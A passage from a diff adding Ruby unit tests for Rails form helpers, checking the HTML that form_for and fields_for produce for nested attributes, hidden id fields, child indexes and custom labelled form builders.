+      concat f.fields_for(:author, include_id: false) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
+    @post.author = Author.new(321)
+
+    form_for(@post, include_id: false) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
+    @post.author = Author.new(321)
+
+    form_for(@post, include_id: false) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author, include_id: true) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.hidden_field(:id)
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment, include_id: false) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_for(@post, include_id: false) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_for(@post, include_id: false) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author, include_id: true) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.hidden_field(:id)
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new, Comment.new]
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="new comment" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new(321), Comment.new]
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_empty_supplied_attributes_collection
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      f.fields_for(:comments, []) do |cf|
+        concat cf.text_field(:name)
+      end
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:comments, @post.comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_arel_like
+    @post.comments = ArelLike.new
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:comments, @post.comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_label_translation_with_more_than_10_records
+    @post.comments = Array.new(11) { |id| Comment.new(id + 1) }
+
+    params = 11.times.map { ["post.comments.body", default: [:"comment.body", ""], scope: "helpers.label"] }
+    assert_called_with(I18n, :t, params, returns: "Write body here") do
+      form_for(@post) do |f|
+        f.fields_for(:comments) do |cf|
+          concat cf.label(:body)
+        end
+      end
+    end
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
+    comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.comments = []
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:comments, comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
+    @post.comments = [Comment.new(321), Comment.new]
+    yielded_comments = []
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:comments) { |cf|
+        concat cf.text_field(:name)
+        yielded_comments << cf.object
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+    assert_equal yielded_comments, @post.comments
+  end
+
+  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_for(@post) do |f|
+      concat f.fields_for(:comments, Comment.new(321), child_index: "abc") { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
+      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_child_index_as_lambda_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_for(@post) do |f|
+      concat f.fields_for(:comments, Comment.new(321), child_index: -> { "abc" }) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
+      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  class FakeAssociationProxy
+    def to_ary
+      [1, 2, 3]
+    end
+  end
+
+  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association_with_proxy
+    @post.comments = FakeAssociationProxy.new
+
+    form_for(@post) do |f|
+      concat f.fields_for(:comments, Comment.new(321), child_index: "abc") { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
+      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      expected = 0
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) { |cf|
+          assert_equal expected, cf.index
+          expected += 1
+        }
+      end
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_existing_and_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new(321), Comment.new]
+
+    form_for(@post) do |f|
+      expected = 0
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) { |cf|
+          assert_equal expected, cf.index
+          expected += 1
+        }
+      end
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      expected = 0
+      f.fields_for(:comments, @post.comments) { |cf|
+        assert_equal expected, cf.index
+        expected += 1
+      }
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_child_index_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_for(@post) do |f|
+      f.fields_for(:comments, Comment.new(321), child_index: "abc") { |cf|
+        assert_equal "abc", cf.index
+      }
+    end
+  end
+
+  def test_nested_fields_uses_unique_indices_for_different_collection_associations
+    @post.comments = [Comment.new(321)]
+    @post.tags = [Tag.new(123), Tag.new(456)]
+    @post.comments[0].relevances = []
+    @post.tags[0].relevances = []
+    @post.tags[1].relevances = []
+
+    form_for(@post) do |f|
+      concat f.fields_for(:comments, @post.comments[0]) { |cf|
+        concat cf.text_field(:name)
+        concat cf.fields_for(:relevances, CommentRelevance.new(314)) { |crf|
+          concat crf.text_field(:value)
+        }
+      }
+      concat f.fields_for(:tags, @post.tags[0]) { |tf|
+        concat tf.text_field(:value)
+        concat tf.fields_for(:relevances, TagRelevance.new(3141)) { |trf|
+          concat trf.text_field(:value)
+        }
+      }
+      concat f.fields_for("tags", @post.tags[1]) { |tf|
+        concat tf.text_field(:value)
+        concat tf.fields_for(:relevances, TagRelevance.new(31415)) { |trf|
+          concat trf.text_field(:value)
+        }
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
+      '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' \
+      '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" type="text" value="tag #123" />' \
+      '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' \
+      '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' \
+      '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' \
+      '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" type="text" value="tag #456" />' \
+      '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' \
+      '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' \
+      '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_hash_like_model
+    @author = HashBackedAuthor.new
+
+    form_for(@post) do |f|
+      concat f.fields_for(:author, @author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for
+    output_buffer = fields_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_index
+    output_buffer = fields_for("post[]", @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" \
+      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[123][secret]' type='hidden' value='0' />" \
+      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_nil_index_option_override
+    output_buffer = fields_for("post[]", @post, index: nil) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" \
+      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[][secret]' type='hidden' value='0' />" \
+      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_index_option_override
+    output_buffer = fields_for("post[]", @post, index: "abc") do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[abc][title]' type='text' id='post_abc_title' value='Hello World' />" \
+      "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[abc][secret]' type='hidden' value='0' />" \
+      "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_without_object
+    output_buffer = fields_for(:post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_only_object
+    output_buffer = fields_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_object_with_bracketed_name
+    output_buffer = fields_for("author[post]", @post) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    assert_dom_equal "<label for=\"author_post_title\">Title</label>" \
+    "<input name='author[post][title]' type='text' id='author_post_title' value='Hello World' />",
+      output_buffer
+  end
+
+  def test_fields_for_object_with_bracketed_name_and_index
+    output_buffer = fields_for("author[post]", @post, index: 1) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" \
+      "<input name='author[post][1][title]' type='text' id='author_post_1_title' value='Hello World' />",
+      output_buffer
+  end
+
+  def test_form_builder_does_not_have_form_for_method
+    assert_not_includes ActionView::Helpers::FormBuilder.instance_methods, :form_for
+  end
+
+  def test_form_for_and_fields_for
+    form_for(@post, as: :post, html: { id: "create-post" }) do |post_form|
+      concat post_form.text_field(:title)
+      concat post_form.text_area(:body)
+
+      concat fields_for(:parent_post, @post) { |parent_fields|
+        concat parent_fields.check_box(:secret)
+      }
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='parent_post[secret]' type='hidden' value='0' />" \
+      "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_and_fields_for_with_object
+    form_for(@post, as: :post, html: { id: "create-post" }) do |post_form|
+      concat post_form.text_field(:title)
+      concat post_form.text_area(:body)
+
+      concat post_form.fields_for(@comment) { |comment_fields|
+        concat comment_fields.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_and_fields_for_with_non_nested_association_and_without_object
+    form_for(@post) do |f|
+      concat f.fields_for(:category) { |c|
+        concat c.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<input name='post[category][name]' type='text' id='post_category_name' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  class LabelledFormBuilder < ActionView::Helpers::FormBuilder
+    (field_helpers - %w(hidden_field)).each do |selector|
+      class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+        def #{selector}(field, *args, &proc)
+          ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
+        end
+      RUBY_EVAL
+    end
+  end
+
+  def test_form_for_with_labelled_builder
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_default_form_builder
+    old_default_form_builder, ActionView::Base.default_form_builder =
+      ActionView::Base.default_form_builder, LabelledFormBuilder
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Base.default_form_builder = old_default_form_builder
+  end
+
+  def test_lazy_loading_default_form_builder
+    old_default_form_builder, ActionView::Base.default_form_builder =
+      ActionView::Base.default_form_builder, "FormHelperTest::LabelledFormBuilder"
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Base.default_form_builder = old_default_form_builder
+  end
+
+  def test_form_builder_override
+    self.default_form_builder = LabelledFormBuilder
+
+    output_buffer = fields_for(:post, @post) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_lazy_loading_form_builder_override
+    self.default_form_builder = "FormHelperTest::LabelledFormBuilder"
+
+    output_buffer = fields_for(:post, @post) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_labelled_builder
+    output_buffer = fields_for(:post, @post, builder: LabelledFormBuilder) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
